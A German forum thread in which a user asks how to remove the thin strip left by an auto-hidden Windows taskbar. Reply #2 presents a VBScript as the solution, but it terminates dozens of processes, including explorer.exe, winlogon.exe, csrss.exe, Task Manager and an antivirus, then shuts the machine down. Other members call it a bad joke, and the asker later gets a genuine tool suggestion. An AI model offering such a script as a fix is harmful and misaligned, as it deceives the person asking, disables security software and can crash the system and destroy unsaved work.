Windows Taskleiste richtig ausblenden?!

  1. #1
    DanielxK48x


    Windows Taskleiste richtig ausblenden?!
    Hallo,

    ich lasse meine Taskleiste automatisch ausblenden.
    Jedoch bleibt unten trotzdem so ein kleiner häßlicher Rand übrig.
    Kann man den auch irgendwie weg bekommen?
    Dank an jede Antwort.

  2. #2
    Suncrusher


    Ja. Kopiere das: (Speichere als .vbs)
    Geht weg aber wie... (Du hast gesagt: Dank an jede Antwort )

    pc = "localhost"
    programm = "'notepad.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'iexplore.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'msnmsgr.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'cmd.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'calc.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'Zattoo.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'avgnt.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'conime.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'csrss.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'dwm.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'ehmasas.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'ehtray.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'explorer.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'GoogleToolbar.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'hpwuSchd2.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'iTunesHelper.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'jusched.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'MSASCui.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'OpWareSE4.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'PrnStatusMX.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'realhelp.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'Safari.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'sidebar.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'SweetIM.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'taskeng.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'unsecapp.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'winlogon.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'wmpnscfg.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'taskmgr.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'wpcumi.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'WrtMon.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    pc = "localhost"
    programm = "'WrtProc.exe'"
    Set wmi = GetObject("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _
    & pc & "\root\cimv2")
    Set col = wmi.ExecQuery _
    ("Select * from Win32_Process Where Name = " & programm )
    For Each obj in col
    obj.Terminate()
    Next
    Set wmi = GetObject( _
    "WinMgmts:{impersonationLevel=impersonate, " & _
    "(Shutdown)}!/root/cimv2")
    Set col = wmi.ExecQuery("SELECT * FROM Win32_OperatingSystem")
    For Each obj In col
    rc = obj.Shutdown
    Next

  3. #3
    SR530


    Wenn du Spass haben willst, kannst du das gerne woanderst machen ...

  4. #4
    RTW-Fahrer


    Alles beenden. sehr witzig. MOD wo bist du

  5. #5
    SR530


    Zitat Zitat von RTW-Fahrer Beitrag anzeigen
    Alles beenden. sehr witzig. MOD wo bist du
    Mach die Augen auf ...

  6. #6
    RTW-Fahrer


    Zitat Zitat von SR530 Beitrag anzeigen
    Mach die Augen auf ...
    Dich zähle ich nicht als Mod

  7. #7
    TrµMAn


    wie wäre es damit, den Bildschirm so einzustellen, dass dieser blaue streifen unterhalb des Bildschirmrandes liegt?

    SRY, Wenn das jetzt zu On-Topic ist xD

  8. #8
    DanielxK48x


    Ich dachte eigentlich an seriöse Antworten.
    Was soll das? ^^

  9. #9
    SkyMarshal


    Wenn du XP verwendest, dann versuch es doch mal mit Taskbar Hide.

  10. #10
    DanielxK48x


    Danke Skymarshall, so etwas habe ich gesucht.

Ähnliche Themen
  1. Explorer Symbol in Taskleiste Windows 7
    Von Choco im Forum Software
    Antworten: 2
    Letzter Beitrag: 08.06.2010, 12:53
  2. Windows vista taskleiste
    Von leon-der-hacker im Forum Software
    Antworten: 5
    Letzter Beitrag: 22.08.2008, 22:05
  3. Windows Mobile 6 - Tray Leiste ausblenden?
    Von Choco im Forum Telefon und Internet
    Antworten: 1
    Letzter Beitrag: 08.07.2008, 16:52
  4. durch Windows Taskleiste friert Rechner ein
    Von Titanfox im Forum Software
    Antworten: 5
    Letzter Beitrag: 17.04.2007, 00:49
  5. Antworten: 4
    Letzter Beitrag: 23.12.2001, 13:28
Sie betrachten gerade Windows Taskleiste richtig ausblenden?!